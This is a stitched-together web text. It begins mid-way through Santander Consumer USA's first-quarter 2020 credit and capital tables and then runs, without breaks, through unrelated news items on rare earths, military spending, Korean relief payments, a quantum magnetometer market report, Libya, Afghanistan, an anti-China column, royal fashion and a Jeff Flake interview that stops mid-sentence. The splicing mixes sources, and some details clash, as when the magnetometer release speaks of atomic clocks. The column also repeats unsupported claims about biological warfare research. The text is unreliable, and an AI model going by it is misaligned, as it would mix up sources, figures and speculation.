"Allowance ratio" is defined as the ratio of Allowance for credit losses, which excludes impairment on purchased receivables portfolios, to End of period assets covered by allowance for credit losses (11) "Common stock dividend payout ratio" is defined as the ratio of Dividends declared per share of common stock to Earnings per share attributable to the Company's shareholders. The Common stock dividend payout ratio for the three months ended March 31, 2020 has not been disclosed since the earnings per share for the three months ended March 31, 2020 was a negative number (12) "Common Equity Tier 1 Capital ratio" is a non-GAAP ratio defined as the ratio of Total common equity tier 1 capital to Total risk-weighted assets (for a reconciliation from GAAP to this non-GAAP measure, see "Reconciliation of Non-GAAP Measures" in Table 7 of this release) Table 4: Credit Quality The activity in the credit loss allowance for retail installment contracts for the three months ended March 31, 2020 and 2019 was as follows (Unaudited, Dollar amounts in thousands): Three Months Ended March 31, 2020 Three Months Ended March 31, 2019 Allowance for Credit Loss Non-TDR TDR Non-TDR TDR Balance beginning of period $ 2,123,878 $ 914,718 $ 1,819,360 $ 1,416,743 Day 1 - Adjustment to allowance for adoption of CECL standard 2,030,473 71,833 Credit loss expense 757,192 150,850 446,488 104,613 Charge-offs (a) (899,550) (289,567) (927,457) (466,637) Recoveries 470,669 125,402 552,960 225,930 Balance end of period $ 4,482,662 $ 973,236 $ 1,891,351 $ 1,280,649 (a) Charge-offs for retail installment contracts includes partial write-down of loans to the collateral value less estimated costs to sell, for which a bankruptcy notice was received. There is no additional ACL on these loans. A summary of delinquencies of our retail installment contracts as of March 31, 2020 and December 31, 2019 is as follows (Unaudited, Dollar amounts in thousands): Delinquent Balance March 31, 2020 Amount Percent Amortized cost, 30-59 days past due 2,565,268 8.3 % Delinquent amortized cost over 59 days 1,418,857 4.6 % Total delinquent balance at amortized cost $ 3,984,125 12.9 % Delinquent Balance December 31, 2019 Amount Percent Principal 30-59 days past due $ 2,972,495 9.7 % Delinquent principal over 59 days 1,578,452 5.1 % Total delinquent principal (a) $ 4,550,947 14.8 % (a) The table includes balances based on UPB. Difference between amortized cost and UPB was not material. The retail installment contracts held for investment that were placed on nonaccrual status, as of March 31, 2020 and December 31, 2019 (Unaudited, Dollar amounts in thousands): Nonaccrual Balance March 31, 2020 Amount Percent Non-TDR 1,054,039 3.4 % TDR 421,341 1.4 % Total non-accrual loans (a) $ 1,475,380 4.8 % (a) The table includes balances based on amortized cost. Nonaccrual Balance December 31, 2019 Amount Percent Non-TDR $ 1,099,462 3.6 % TDR 516,119 1.7 % Total nonaccrual principal (a) $ 1,615,581 5.3 % (a) The table includes balances based on UPB. Difference between amortized cost and UPB was not material. The table below presents the Company's allowance ratio for TDR and non-TDR individually acquired retail installment contracts as of March 31, 2020 and December 31, 2019 (Unaudited, Dollar amounts in thousands): Allowance Ratios March 31, 2020 December 31, 2019 TDR - Unpaid principal balance $ 3,459,695 $ 3,859,040 TDR - Impairment 973,236 914,718 TDR - Allowance ratio 28.1 % 23.7 % Non-TDR - Unpaid principal balance $ 27,261,964 $ 26,895,551 Non-TDR - Allowance 4,482,662 2,123,878 Non-TDR Allowance ratio 16.4 % 7.9 % Total - Unpaid principal balance $ 30,721,659 $ 30,754,591 Total - Allowance 5,455,898 3,038,596 Total - Allowance ratio 17.8 % 9.9 % The Company's allowance for credit losses increased $2.3 billion for the three months ended March 31, 2020. The primary drivers were an approximately $2.0 billion increase at CECL adoption on January 1, 2020, driven mainly by the addition of lifetime expected credit losses for non-TDR loans, and approximately $0.3 billion, net due to business drivers during the first quarter of 2020, which includes $0.4 billion of additional reserves specific to COVID-19 risk, partially offset by decline in balances. Table 5: Originations The Company's originations of loans and leases, including revolving loans, average APR, and dealer discount (net of dealer participation) were as follows: Three Months Ended March 31, 2020 March 31, 2019 December 31, 2019 Retained Originations (Unaudited, Dollar amounts in thousands) Retail installment contracts $ 3,846,226 $ 4,026,327 $ 3,779,615 Average APR 15.3 % 17.2 % 15.8 % Average FICO (a) 607 593 598 Discount (0.8) % (0.1) % (0.8) % Personal loans (b) 270,835 288,557 $ 513,347 Average APR 29.8 % 29.7 % 29.8 % Leased vehicles 2,020,721 1,963,580 $ 1,811,662 Finance lease 3,002 3,308 $ 4,600 Total originations retained $ 6,140,784 $ 6,281,772 $ 6,109,224 Total originations (excluding SBNA Originations Program) $ 6,140,784 $ 6,281,772 $ 6,109,224 (a) Unpaid principal balance excluded from the weighted average FICO score is $432 million, $493 million and $404 million as the borrowers on these loans did not have FICO scores at origination and $139 million, $106 million and $181 million of commercial loans, for the three months ended March 31, 2020, 2019 and December 31, 2019, respectively. (b) Included in the total origination volume is $21 million, $24 million and $133 million for the three months ended March 31, 2020, 2019 and December 31, 2019, respectively, related to newly opened accounts. There were no sales during the three months ended March 31, 2020, 2019 and the year ended December 31, 2019. SBNA Originations Program Beginning in 2018, the Company agreed to provide SBNA with origination support services in connection with the processing, underwriting and purchase of retail loans, primarily from Chrysler dealers. In addition, the Company agreed to perform the servicing for any loans originated on SBNA's behalf. The Company facilitated the purchase of $1.1 billion and $1.0 billion of retail installment contacts during the three months ended March 31, 2020 and 2019, respectively. Table 6: Ending Portfolio Ending outstanding balance, average APR and remaining unaccreted net discount of our held for investment portfolio as of March 31, 2020, and December 31, 2019, are as follows: March 31, 2020 December 31, 2019 (Unaudited, Dollar amounts in thousands) Retail installment contracts $ 30,741,144 $ 30,776,038 Average APR 15.8 % 16.1 % Discount 0.1 % 0.3 % Receivables from dealers $ 12,496 $ 12,668 Average APR 4.0 % 4.0 % Leased vehicles $ 17,817,633 $ 17,562,782 Finance leases $ 27,710 $ 27,584 Table 7: Reconciliation of Non-GAAP Measures March 31, 2020 March 31, 2019 (Unaudited, Dollar amounts in thousands) Total equity 5,146,103 7,158,530 Add: Adjustment due to CECL capital relief (c) 1,669,466 Deduct: Goodwill, intangibles, and other assets, net of deferred tax liabilities 153,712 163,444 Deduct: Accumulated other comprehensive income (loss), net (63,655) 12,938 Tier 1 common capital 6,725,512 6,982,148 Risk weighted assets (a)(c) 48,829,941 44,260,896 Common Equity Tier 1 capital ratio (b)(c) 13.8 % 15.8 % (a) Under the banking agencies' risk-based capital guidelines, assets and credit equivalent amounts of derivatives and off-balance sheet exposures are assigned to broad risk categories. The aggregate dollar amount in each risk category is multiplied by the associated risk weight of the category. The resulting weighted values are added together with the measure for market risk, resulting in the Company's total Risk weighted assets. (b) CET1 is calculated under Basel III regulations required as of January 1, 2015. The fully phased-in capital ratios are non-GAAP financial measures. (c) As described in our 2019 annual report on Form 10-K, on January 1, 2020, we adopted ASU 2016-13, Financial Instruments -Credit Losses ("CECL"), which upon adoption resulted in a reduction to our opening retained earnings balance, net of income tax, and increase to the allowance for credit losses of approximately $2 billion. As also described in our 2019 10-K, the U.S. banking agencies in December 2018 had approved a final rule to address the impact of CECL on regulatory capital by allowing banking organizations, including the Company, the option to phase in the day-one impact of CECL until the first quarter of 2023. In March 2020, the U.S. banking agencies issued an interim final rule that provides banking organizations with an alternative option to delay for two years an estimate of CECL's effect on regulatory capital, relative to the incurred loss methodology's effect on regulatory capital, followed by a three-year transition period. The Company is electing this alternative option instead of the one described in the December 2018 rule. SOURCE Santander Consumer USA Holdings Inc. Related Links http://www.santanderconsumerusa.com Senator Ted Cruz arrives to speak to the press at the US Capitol in Washington on Jan. 22, 2020. (MANDEL NGAN/AFP via Getty Images) Cruz Urges Development of Domestic Rare Earth Supply Chain, Calls Reliance on China a Risk Sen. Ted Cruz (R-Texas) has urged administration officials to support the development of a fully domestic rare earths supply chain and to reduce U.S. dependence on China for minerals essential for defense technologies manufacturing. In letters written to Secretary of Defense Mark Esper (pdf) and Secretary of the Interior David Bernhardt (pdf), Cruz, along with Senate colleagues, cautioned about the risk of relying on the Chinese Communist Party for rare earths, noting that the United States currently only has one operating rare earth mine and no domestic refining capacity. It is clear that our dependence on China for vital rare earths threatens our U.S. manufacturing and defense industrial base, the senators wrote on April 24. Since the United States has no refining capacity of its own, current rare earth concentrates extracted in California are being sent to China for processing, they wrote. The lawmakers referenced an October 2018 Defense Industrial Base (DIB) report that stated that China is a significant and growing risk to the supply of materials critical to U.S. national security and that ensuring a domestic source of rare earths would reduce the risk to U.S. military readiness. In July 2019, President Donald Trump wrote in a memo that the domestic production capability for separation and processing of Light Rare Earth Elements is essential to the national defense. During the trade war in 2019, China at one point also threatened to withhold exports of rare earth elements to the United States. The senators noted that the United States is 100% import-dependent for rare earths as well as 13 other metals and minerals. These minerals are listed on the U.S. Government Critical Minerals List. In the letters, which were both similar in language, the senators warned the Department of the Interior and the Department of Defense to take care that no link in the chain passes through a country that presents risk of supply disruption. Priority consideration should be given to projects that extract and process rare earths from U.S. sources and at U.S. facilities, they wrote. Ensuring a U.S. supply of domestically sourced rare earths will reduce our vulnerability to supply disruptions that pose a grave risk to our military readiness, the senators continued. Should the U.S. develop a more robust domestic rare earths supply chain, it is important that the federal government does not pick winners and losers within the industry. Rare earth elements include 15 elements with atomic numbers 57 through 71 and are essential for a diverse and expanding array of high-technology applications, according to a report by the U.S. Geological Survey, a scientific agency of the U.S. government. Rare earth elements-containing magnets, metal alloys for batteries and light-weight structures, and phosphors are essential for many current and emerging alternative energy technologies, such as electric vehicles, energy-efficient lighting, and wind power, the report stated. REE are also critical for a number of key defense systems and other advanced materials. Cruz was joined in the letters by Sens. John Barrasso (R-Wyo.) Tom Cotton (R-Ark.), Mike Enzi (R-Wyo.), Cory Gardner (R-Colo.), and Martha McSally (R-Ariz.). India Third After China, US in Military Spending Amid Heightened Border Tension Sputnik News 09:55 GMT 27.04.2020 New Delhi (Sputnik): Arch rivals India and China, who share a 4,057 kilometre border, are among top military spenders in 2019, according the data released by an international think tank. The year 2019 witnessed a 3.6 percent increase in global military spending at $1,917 billion, which is the largest annual growth since 2010. China and India, which spent $261 billion (up 5.1%) and $71.1 billion (up 6.8 percent) in 2019 on their militaries, respectively, are the second- and third-biggest military spenders in the world after the United States, which spent $732 billion on defence, the Stockholm International Peace Research Institute (SIPRI) said in data released on Monday. It is for the first time that two Asian countries are among the top three in terms of military expenditures. However, senior researcher at SIPRI Siemon T. Wezeman has credited India's tensions and rivalry with both Pakistan and China as the "major drivers for its increased military spending". The SIPRI report revealed that India's archrival Pakistan's military expenditure rose 70 percent over the last decade to reach $10.3 billion; India's military spending over the same period of time increased 37 percent. Despite worsening financial conditions, Pakistan's military burden increased from 3.4 percent of GDP in 2010 to 4.0 percent in 2019 while India's military burden decreased to 2.4 percent from 2.7 over the course of the decade. India shares a 4,057 kilometre-long border with China and a 3,323-kilometre border with Pakistan. Indian Navy Chief Admiral Karambir Singh, in response to China's growing emphasis on its navy, had said that the Indian Navy has to see how it can match China's "intent", given its limited budget and resources. The navy chief highlighted China's increased presence in the Indian Ocean Region, with six to eight warships in the area at any given time and added that its relations with Pakistan continue to pose a threat to India. However, even with the gap of about $200 billion between India's military spending and that of China, it has proven its preparedness against its rival time and again. Earlier this month, during the movement of a Chinese aircraft carrier and warships through the Miyako Strait as part of a journey to the South China Sea, the Indian Navy asserted its war preparedness, stating that it will continue to maintain an operational vigil in the Indian Ocean Region by carrying out regular maritime surveillance missions. In January, India began deployment of advanced weapons systems and improving its infrastructure along its border with China In the backdrop of increasing military relations between China and Pakistan and fearing collusion from both, Indian's army chief had justified deployment at the world's highest battlefield, Siachen, as crucial for the Indian Army. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Finance Minister Hong Nam-ki speaks during a meeting at National Assembly in Seoul, Tuesday. Yonhap South Korea needs an additional 4.6 trillion won (US$3.8 billion) to give coronavirus relief handouts to every household, Finance Minister Hong Nam-ki said Tuesday, as part of the government's plans to ease the economic fallout from the coronavirus pandemic. South Korea had originally planned to give relief handouts to households that rank in the bottom 70 percent of gross income, but it changed the plans to provide the handouts to every household. Hong told a parliamentary meeting that most of the additional money will be funded by issuing deficit-covering bonds. The finance ministry seeks to lower the size of deficit-covering bonds by cutting costs and readjusting budget spending, the minister said. Hong also called for lawmakers to swiftly approve the second extra budget bill, saying that the nation's economy is facing an unprecedented crisis in the wake of the pandemic. Under the latest support measure, 1 million won will be given to each household with four or more people. Single-person households will receive 400,000 won, while two-person households and three-person households will receive 600,000 won and 800,000 won, respectively. Hong has said the government "promises that it will mobilize all resources and act boldly and quickly until the crisis ends." The emergency cash payments will be offered in the form of shopping coupons and gift certificates, not cash handouts, in order to encourage people to spend them. Rival parties have agreed to vote this week on the provision of relief handouts to all households and the second extra budget of 7.6 trillion won to fund the one-time relief program. Health authorities have warned that a new wave of the coronavirus outbreak could hit South Korea in winter because there is no vaccine yet. Asked whether the government will give relief handouts to every household in the event of a possible outbreak in winter, Hong replied that he may resist it due to worries over wider fiscal deficit. President Moon Jae-in called for the government to draw up a third extra budget in early June. Hong stopped short of forecasting the size of the third extra budget but said the third budget will be funded by issuing a "significant" amount of state bonds. (Yonhap) [April 28, 2020] Inside Quantum Technology Report Shows Quantum Magnetometer Revenues Exceeding $700 million by 2025 NEW YORK, April 28, 2020 (GLOBE NEWSWIRE) -- According to Quantum Magnetometer Markets: 2020 to 2029 , a new report from Inside Quantum Technology, the market for atomic clocks will exceed $700 million by 2025. The main drivers will be the need for more sensitive magnetometers in medical imaging, defense applications and geophysical applications such as oil and gas applications. This report is the first industry analysis report to identify the market opportunities for quantum magnetometers and it provides ten-year forecasts for the quantum magnetometer market with break outs by application and magnetometer type/technology. About this Report This report also examines both technical and market factors driving the market for pumped magnetometers, proton magnetometers, Overhauser magnetometers, SERFs, NV-diamond vapor cell magnetometers and SQUIDs. Quantum Magnetometer Markets: 2020 to 2029, also discusses chip-scale atomic magnetometers and examines what these might mean for drones, the measurement of interplanetary magnetic fields or deployed close to the heart for magnetocardiography, among other applications. The report covers important Ramp;D activity in this field in Europe, North America and China. Coverage includes work at the UK Quantum Technology Hub for Sensors and Metrology, the European Flagship Project, Fraunhofer IAF, NIST,DARPA and the Chinese Academy of Sciences. Profiles of commercial companies include Magnicon, Supracon, Lockheed, Tristan Technologies, Gem Systems, Geometrics, Marine Magnetics, Twinleaf and QuSpin. Inside This Report Geophysical studies and exploration is by far the biggest market for magnetometers -- this area has used classical magnetometers for half a century. The use of quantum magnetometers will expand the scope of, for example, mineral explorations, magnetic survey and hazard detection. The compelling value proposition of quantum magnetometers will drive revenues from sales of these devices to approximately $315 million by 2025. New applications for quantum magnetometers are also beginning to appear. For example, beyond medical imaging, the extreme sensitivity of SQUIDs makes them ideal for biological investigations of various kinds. And NV-diamond center magnetometers are being used in navigation systems where conventional GPS wont work. A detailed assessment of the commercial potential for such novel systems is also included in this report. Quantum magnetometers have a large number of applications in the military. Both researchers in the US and China are working on such applications and this report discusses the impact that an era of Sino-American tensions may have on the quantum magnetometer business. In total the military/aerospace applications for quantum magnetometers will generate $120 million. About Inside Quantum Technology Inside Quantum Technology is the first industry analyst firm to be entirely dedicated to meeting the strategic information and analysis needs of the emerging quantum technology sector. In addition to publishing reports on critical business opportunities in quantum computing, quantum cryptography and quantum sensing, Inside Quantum Technology runs a popular daily newsfeed (Quantum Technology News) on business-related happenings in quantum technology. This free newsfeed can be subscribed to at https://www.insidequantumtechnology.com/quantum-news/. Inside Quantum Technology also organizes major conferences on quantum technology in both Europe and the United States. Our next show is on June 1 through June 5 https://iqtevent.com . Contact: Lawrence Gasman (434) 825-1311 [email protected] [ Back To TMCnet.com's Homepage ] Colorado Springs City Council deadlocked Monday over the appointment of Stephannie Fortune to fill Councilman Richard Skorman's seat on the board. Who among the 7 finalists should be appointed? You voted: Eastern Libyan forces laying siege on the country's capital, Tripoli, accused their rivals on Tuesday of staging an attack in which a Turkish drone hit a food truck convoy in the country's west, killing at least five civilians. The militia groups loosely allied with a U.N.-supported but weak government in Tripoli denied attacking civilians, saying instead that they targeted trucks carrying equipment and ammunition for eastern forces trying to take Tripoli. The fighting over Tripoli erupted last April, when east-based forces under commander Khalifa Hifter launched an offensive to capture the city. In recent weeks, violence has escalated with both sides accusing each other of shelling civilian neighborhoods. The U.N. has said the violence and the worsening humanitarian crisis in Libya could amount to war crimes. Ahmed al-Mosmari, a spokesman for Hifter forces, said the drone strike took place late Monday near the district Mizda, 184 kilometers (114 miles) south of Tripoli. Hifter's forces control most of eastern and southern Libya while the besieged Tripoli administration rules just a corner of the country's west. Both sides are supported by a network of fractious militias and foreign powers. On Monday, Hifter in an attempted show of strength, declared a 2015 U.N.-brokered political deal to unite the oil-rich country a thing of the past. The Tripoli-based government said it wasn't surprised by Hifter's announcement, and urged Libyans to join a comprehensive dialogue and continue in the democratic path to reach a comprehensive and permanent solution based on ballot boxes. While the 2015 agreement has so far failed to bring unity or stability to the divided country, Hifter's announcement threatens to further complicate U.N. efforts to broker a political settlement to the civil war. Libya has been in turmoil since 2011, when a civil war toppled long-time dictator Moammar Gadhafi, who was later killed. The chaos has worsened in the recent round of fighting as foreign backers increasingly intervene, despite their pledges to the contrary at a high-profile peace summit in Berlin earlier this year. Turkey has sent armored drones, air defenses and more recently, Syrian militants with links to extremist groups to prop up the embattled Tripoli government. Meanwhile, Russia has deployed hundreds of mercenaries to boost Hifter's assault. The United Arab Emirates and Egypt also back Hifter. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) While the world is battling with coronavirus outbreak since the start of 2020, the United Nations mission has said that over 500 civilians were killed in the first quarter of this year in war-stricken country, Afghanistan. According to the UN mission report released on April 27, civilians had to take a severe blow of the armed conflict in the country and it killed over 150 children. The organisation had documented nearly 1,300 casualties that occurred in the first three months of 2020 in Afghanistan, out of which 533 were killed 760 were injured. However, there was still a 29 per cent decrease as compared to the same period in 2019 and is also the lowest figure for fatalities in the first quarter of the year since 2012. Even though there were hopes of violence being toned down in the country after the United States and the Taliban signed a peace treaty paving the way for negotiations between the Afghan government and the militant group, the report revealed a significant amount of conflicts during March. Deborah Lyons, the UN Secretary-Generals Special Representative for Afghanistan and head of UN Assistance Mission in Afghanistan has called on all parties involved in the violence for a global ceasefire and unite against the fight with COVID-19 pandemic. Lyons said, I call on all parties to seize the opportunity offered by the Secretary-Generals call for a global ceasefire to focus collective efforts on fighting a common enemy, the COVID-19 pandemic. Read - Coronavirus: India Readying Rapid Response Teams For Bangladesh, Bhutan, SL And Afghanistan To safeguard the lives of countless civilians in Afghanistan and to give the nation hope of a better future, it is imperative that violence is stopped with the establishment of a ceasefire and for peace negotiations to commence, she added. More than 500 Afghan civilians were killed in the first 3 months of the year, the latest @UN mission @UNAMAnews report reveals. Full details and analysis:https://t.co/hdo2VIgeXe UN News (@UN_News_Centre) April 28, 2020 Read - US-Taliban Deal 'historic' Opportunity To Bring Peace In Afghanistan: Qureshi Taliban accuses US of violating peace deal While UN noted the disturbing increase in casualties in reduction of violence period mentioned in US-Taliban peace treaty, the militant group has shared a list of at least 50 attacks carried by American troops and Afghan forces accusing them of 'violating' the terms in the treaty. Taliban shared a three-page document only with TOLO News to back their claims with substantial information. The Taliban political office in Doha has claimed that at least 33 drone attacks have been directed by the US against the targets of the extremist group in 19 provinces between March 9 and April 10. Read - Afghanistan President Thanks PM Modi For HCQ Export; PM Assures To Combat COVID Together Read - Dozens Dead In Fresh Wave Of Taliban Violence In Afghanistan (Image Source: AP) K A Badarinath By Most agree that the global order would undergo a total overhaul after the coronavirus pandemic. If the policy responses of countries in the last few weeks is any indication, China might be heading for complete isolation. Many nations have found Beijings economic and strategic expansionist agenda even during the crisis appalling, while the Chinese Communist Partys role in the genesis and spread of the virus has come under global scrutiny. The muscle flexing between the US and China accusing each other of being responsible for Covid-19 notwithstanding, the latters insensitivity under an incorrigible communist regime has become largely unacceptable to humanity. But this does not mean that China as an economic and strategic powerhouse would in any way get diminished in the near term. But most countries have come to realise how China has been allowed to spread its tentacles without resistance. Reports suggested over 1,000 companies from Europe that have operated in China are busy finalising plans to exit in search of more friendly and open destinations. This is indicative of the suffocation they have faced within China led by President Xi Jinping that neither values human life nor their basic rights. For many big and small companies, China had been a cost-effective manufacturing destination during the last decade. But these benefits may seem too little or negligible given the heavy price the world had to pay after the virus emerged from Wuhan in China. Suspicion, fear and distrust seem to have overwhelmed boardroom discussions in the global corporate world given reports about Chinese biological warfare-related research going out of hand. Governments and corporates seem to have decided to move away from China. Japan under PM Shinzo Abe seems to have taken a tough call as the countrys industrial enterprises would starve for want of components if the umbilical cords with China, its biggest trading partner, were to be snapped. It fired the first salvo by setting up a $2.2 billion dedicated fund to help its companies that opted to shift their production out of China. Key EU member countries seem to have taken the cue and decided to keep China out of their industrial, agriculture, trade and services ecosystem. This again is difficult to achieve and sustain. Nevertheless, they have moved on. Disturbing reports from global merchant bankers that China was zeroing in on a hostile takeover of international businesses after the virus pushed several enterprises into the red seem to have hastened the exit process. Simultaneously, firewalls have been set up worldwide against an aggressive Chinese bid to take control of small and medium businesses, especially those that provide access to proprietary technology. Italy, where most human lives were reportedly lost due to its extensive economic linkages with Chinas Wuhan, moved first to set up barriers against takeovers. As per the columnist Giacomino Nicolazzo, backed by Partito Democratico (synonymous with the Italian Communist party), China owns a major chunk of real estate in North Italy, bought up over 300 companies in diverse sectors, had majority stake in five top Italian banks apart from the nations entire communication network. Though Italys new investment guidelines were in sync with the European Commissions directive to protect critical assets against foreign takeovers, the urgency was to guard against predatory Chinese moves to expand its footprint. Several governments, including those in Spain, France, Australia and elsewhere, too seem to have set up whats popularly known as a Chinese firewall. Germany, on the other hand, was seen as a different cup of tea till the other day. Initial reports suggested that summit-level talks between Chancellor Angela Merkel and Chinese President Xi Jinping would flesh out a new alignment of forces. Thankfully, these efforts seem to have fallen through and Germany has toed the line of other European powers to keep China out. On April 8, the German Cabinet approved tightening of rules against the takeover of critical infrastructure and enterprises by foreign companies, especially from the US and China. In a mock invoice, German newspaper Bild went ahead and billed China 130 billion pounds towards meeting the countrys costs of fighting the virus. The Narendra Modi government, on the other hand, has been treading very cautiously. Even while drafting its new FDI norms, it refused to call out China. Instead, it put up restrictions on countries having borders with India attempting takeovers. The government may have to give up its shyness and instead pursue a bold line against China, its opaque communist rule and the havoc it heaped on humanity. Outstanding strategic and border issues notwithstanding, India will have very little option but to join a broad global coalition thats in the making to single out China, communist oligarchs and President Xi. Parallelly, India will have to rework its supply chains, localise production as seen in the case of generic drugs, personal protection equipment or even go overboard in the near term to dovetail these efforts with the policy framework. Cashing in on the opportunities that arise out of exodus from China should also begin immediately. Going local and swadeshi with focus on self-reliance is the way forward while China gets time to reflect on its anti-humanity behaviour. K A Badarinath New Delhi-based senior journalist and economic analyst Email: badarinath61@gmail.com High street stalwart Ghost have revealed that profits from online sales of Kate Middleton's blue 129 floral gown will be donated to NHS charities. The Duchess of Cambridge, 38, opted for the brand's Anouk Dress, which features fabric-covered buttons all the way down and romantic ruffles along the collar and hem, as she stepped out of her home at Anmer Hall for last week's Clap for Carers. The brand have now revealed how all online proceeds from sales of the now sold-out dress will go to NHS charities in order to help in the fight against coronavirus. Posting on their Instagram page, they wrote: 'We strive to continuously support the amazing work that the NHS staff and volunteers are doing, throughout this challenging battle against COVID-19, to keep us all safe.' The makers of Kate Middleton's, 38, blue floral Clap for Carers dress have revealed online proceeds from sales of the gown will go to NHS charities The brand added: 'Thankyou NHS, we truly appreciate you.' Kate was joined by her husband Prince William, 37, and their children, George, six, Charlotte, four and Louis, two, to show their appreciation for frontline healthcare workers from outside their home at Anmer Hall, Norfolk last week. The royal mother-of-three debuted a pretty 129 floral dress from favourite label Ghost, but chose accessories from her personal collection and finished the look with a pair of 8 drop earrings from Accessorize that she first wore last year. Wearing her hair perfectly blow-dried and accessorising with drop earrings, Kate perfectly matched Prince William, who coordinated in a blue sweater and shirt for last week's Clap for Carers. Proceeds from the now sold out gown, which was on sale for 90 having been slashed in price from 129 last week, will go to NHS charities to help in the fight against coronavirus The moment was broadcast as part of a segment for the BBC's Big Night In, with viewers rushing to get their hands on Kate's gown. Within hours of the segment being aired on BBC1 - and photos of the moment shared around the world - the 129 Anouk dress had sold out and royal fan accounts were filled with suggestions on where you might pick up the style second-hand. The dress is semi-fitted in shape and printed on the brand's signature crepe fabric, with the brand describing it online as 'an easy style to elevate your everyday wardrobe.' The family's blue wardrobe colour scheme was done as a nod to the NHS. Revealing the news on their Instagram page, Ghost said they were 'striving to continuously support the amazing work that the NHS staff and volunteers are doing' Taking after her mother, little Charlotte was also seen wearing a pale blue paisley cotton dress, while Louis wore navy shorts, a collared shirt and dark blue jumper. Proving she is teaching her children how to make the most of what they have, she dressed Prince Louis, who celebrated his second birthday yesterday, in a pair of 22 navy shoes that were first worn by his big brother George. The buckle shoes are from upmarket children's brand Trotters and were seen on George in the official portraits to mark his third birthday in 2016. The Duchess is well known for passing items down to her younger children and has previously dressed daughter Charlotte in shoes once worn by George. While Kate opted for the blue floral gown, the rest of the Cambridge family also wore the colour in a subtle tribute to the NHS Eagle-eyed royal fans spotted Louis' jumper appears to be a 9 navy crochet style with a red car on the front from Sainsbury's own brand clothing label, Tu. For Ghost, Kate's royal endorsement is the surest sign yet that the label is enjoying a full-fledged fashion revival - 12 years after it almost collapsed during the 2008 financial crisis. The brand has attained new customers with its floaty dresses and separates that perfectly capture the trend for retro tea dresses. It also boasts a growing wholesale business and is now stocked in Selfridges, Zalando, John Lewis, Anthropologie and ASOS. MILFORD - Two New Haven men have been arrested in connection with a car fire in the rear of the old K-Mart Shopping Center on Bridgeport Avenue last February. On Friday, Milford police took into custody Johnnie McFadden and Gary Brown, both 35 years old and residents of Truman Street in New Haven in regards to active warrants for their arrests. Donald Trump told a West Virginia optometrist visiting the White House for a small business event that he may need the man to treat his eyes. "I may need to see you, doctor," the president told Chris Stansbury, whom the White House identified as the co-founder of West Virginia Eye Consultants. Mr Trump assured Mr Stansbury, who wore a white laboratory coat as he praised the president for signing two massive coronavirus relief bills that contained billions in monies for loans to small businesses to deal with the Covid-19 outbreak. The president did not disclose any ailment or vision problem he might be experiencing, however. A group of Dutch high school students with little sailing experience completed a five-week trip across the Atlantic Ocean on Sunday. The group said they returned home by boat instead of by airplane because of coronavirus travel restrictions. The students, ages 14 to 17, were joined by 12 experienced crew members and three teachers. They had been taking part in an educational cruise of the Caribbean when the coronavirus outbreak forced them to greatly change the way they returned home. The change in plans taught 17-year-old Floor Hurkmans an important life lesson. Being flexible, because everything is changing all the time, she said. The arrival time changed like 100 times. Being flexible is really important. Instead of flying back home from Cuba as they had planned, the crew members and students gathered supplies and warm clothes. Then, they set sail for the Dutch port city of Harlingen, 7,000 kilometers away. Their boat, the Wylde Swan, arrived at Harlingen late Sunday morning. Observers gathered at a sea wall to watch the arrival. As they arrived, the students hung up a self-made sign on the boat that read Bucket List. It showed they had completed activities that included crossing the Atlantic Ocean, mid-ocean swimming and surviving the Bermuda Triangle. The Bermuda Triangle is an area in the Atlantic where some people claim ships and planes have mysteriously disappeared. The students family members were waiting for them at the port. Parents drove their cars next to the boat one by one to follow social distancing rules. On the ship, it was impossible to follow any kind of social distancing, Hurkmans noted. Here you have to be social all the time to everyone because youre sleeping with them, youre eating with them youre just doing everything with them so you cant really just relax, she said. Her mother, Renee Scholtemeijer, said she expects her daughter to miss life on the open sea once she understands the coronavirus containment measures in the Netherlands. I think that after two days shell want to go back on the boat, because life is very boring back at home, the mother said. Theres nothing to do, she cant visit friends, so its very boring. Masterskip, the company that organized the boat trip, runs five educational cruises for about 150 students each year. Crossing the Atlantic is nothing new for the Wylde Swan, which has made the trip about 20 times. The companys director, Christophe Meijer, said the students were examined for signs of the coronavirus in March to make sure nobody was infected. He said he was pleased the students had adapted to life on the boat and had kept up their education on the long trip. They are actually far ahead now of their Dutch school colleagues, Meijer said. They have made us very proud. I'm Ashley Thompson. The Associated Press reported this story. Ashley Thompson adapted it for VOA Learning English. Mario Ritter Jr. was the editor. We want to hear from you. Write to us in the Comments section, and visit our Facebook page. __________________________________________________ Words in This Story cruise n. a trip for pleasure by boat flexible adj. willing to change and try different things bucket list n. a list of things that a person has not done before but wants to try at least once in their life relax v. to become less tense, to ease tension boring adj. not interesting adapted v. to change behavior to make it easier to live under a new set of conditions colleague n. a fellow worker Jeff Flake, 57, served Arizona in the U.S. Senate from 2013 to 2019, and for six terms in the House of Representatives before that. He is a contributor at CBS News and lectures around the world. Q: You said, "Never has a party so quickly abandoned its principles as (the Republican Party) did in the campaign of 2016." Where does that take the party? A: Well, this is the topic that's discussed a lot. Not publicly. (Laughs.) But privately, certainly. I don't know anyone who thinks that this is the future of the party. This is a demographic cul-de-sac we're in, if nothing else. Anger and resentment only go so far; you have to have a governing philosophy. I don't know of any of my colleagues who really believe this is it. I just couldn't support (Donald Trump) long before he started to run. The birtherism thing was just too much for me. And then it piled on. So, for me, it would have been just a complete 180-degree turn. And I'm not saying that hasn't been the case for many of my colleagues. Q: Has that surprised you? A: It has. I've been puzzled by the trade-off some have made. There are some who think: Well, we're getting some good conservative policy, good conservative judges, tax and regulatory reform. But I know that everyone worries about what this does to the standing of the party, long term. For the most part, it's just trying to just stay in office, so you can fight another day. Maybe outlast the president. And stay in his good graces, knowing full well that at any time the president can pick up a phone and generate a primary. The other night it was painful to watch the rally in Arizona: the president onstage with virtually all of my Republican colleagues from Arizona - the governor on down, some of whom had been reluctant previously to be on a campaign stage with the president. But who have just completely and utterly thrown in. Total capitulation of the party to Trumpism. Q: In your book you called out former colleagues Newt Gingrich and Tom DeLay for promoting take-it-to-the-mat politics. In the Senate there's a legacy of decorum and working with the other side that's clearly deteriorating now. Some of your long-standing colleagues appear to have abandoned some of those principles. I'm thinking of Lindsey Graham and others. Do you think that they've gone down a path that we can't get back from? A: Lindsey never goes too far one way without the ability to come back. I love Lindsey. And I frankly think he will be back - and will be better for it. Returning to the kind of senator who recognizes what the Senate is all about. You have to reach across the aisle. I do think we'll go back to that. My problem with Newt and Tom, the way they practiced politics was if you could pass legislation with a bipartisan majority or with a thin majority of only Republicans, they would opt for the latter and use it in the election. And that's just not the type of politics that the country needs. I mean, most of 